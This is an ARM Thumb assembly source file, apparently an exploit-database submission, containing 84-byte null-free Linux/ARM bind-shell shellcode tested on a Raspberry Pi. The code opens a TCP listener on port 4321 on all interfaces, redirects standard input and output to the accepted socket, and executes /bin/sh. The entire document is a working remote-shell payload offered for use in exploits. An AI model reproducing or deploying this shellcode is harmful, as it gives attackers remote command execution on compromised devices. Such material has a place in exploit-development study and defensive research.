/* * Title: Linux/ARM - Bind_Shell Shellcode TCP (/bin/sh). Null free shellcode 0.0.0.0:4321 (84 bytes) *Author: Gokul Babu-https://www.linkedin.com/in/gokul-babu-452b3b112/ * Tested: armv7l (Raspberry Pi b3+) * Date: 2019-01-28 */ /*socket-281, domain=2,type=1,protocol=0*/ /*bind-282 sockfd=final result of socket,&addr=struct,adrlen=16*/ /*listen-284,sockfd=id value-r4,backlog=1/2*/ /*accept-285,sockfd=id,&addr=0,addrlen=0*/ /*dup2-63,sockfd=final result of accept r4<-r0=4,newfd=0,1,2*/ /*execve-11,execv="/bin/sh",0,0*/ .section .text .global _start _start: .ARM add r3,pc,#1 bx r3 .THUMB //socket: mov r0,#2 mov r1,#1 mov r7,#200 add r7,#81 svc #1 mov r4,r0 push {r0,r1,r2} /*r0=3,r1=1,r2=0*/ //bind: adr r1,struct strb r2,[r1,#1] str r2,[r1,#4] /*store r2=0 in IP*/ mov r2,#16 add r7,#1 svc #1 //listen: pop {r0,r1,r2} /*r0=3,r1=1,r2=0*/ add r7,#2 svc #1 //accept: mov r0,r4 sub r1,r1 add r7,#1 svc #1 add r0,r0,r2 /*r0=4,r2=0*/ //dup2: //dup(4,2) mov r7,#63 //dup(4,1) mov r1,#1 svc #1 //dup(4,0) sub r1,#1 svc #1 //execve: adr r0,exc strb r2,[r0,#7] mov r7,#11 svc #1 exc: .ascii "/bin/shX" struct: .ascii "\x02\xff" .ascii "\x10\xE1" //port 4321 .byte 1,1,1,1 //IP-0.0.0.0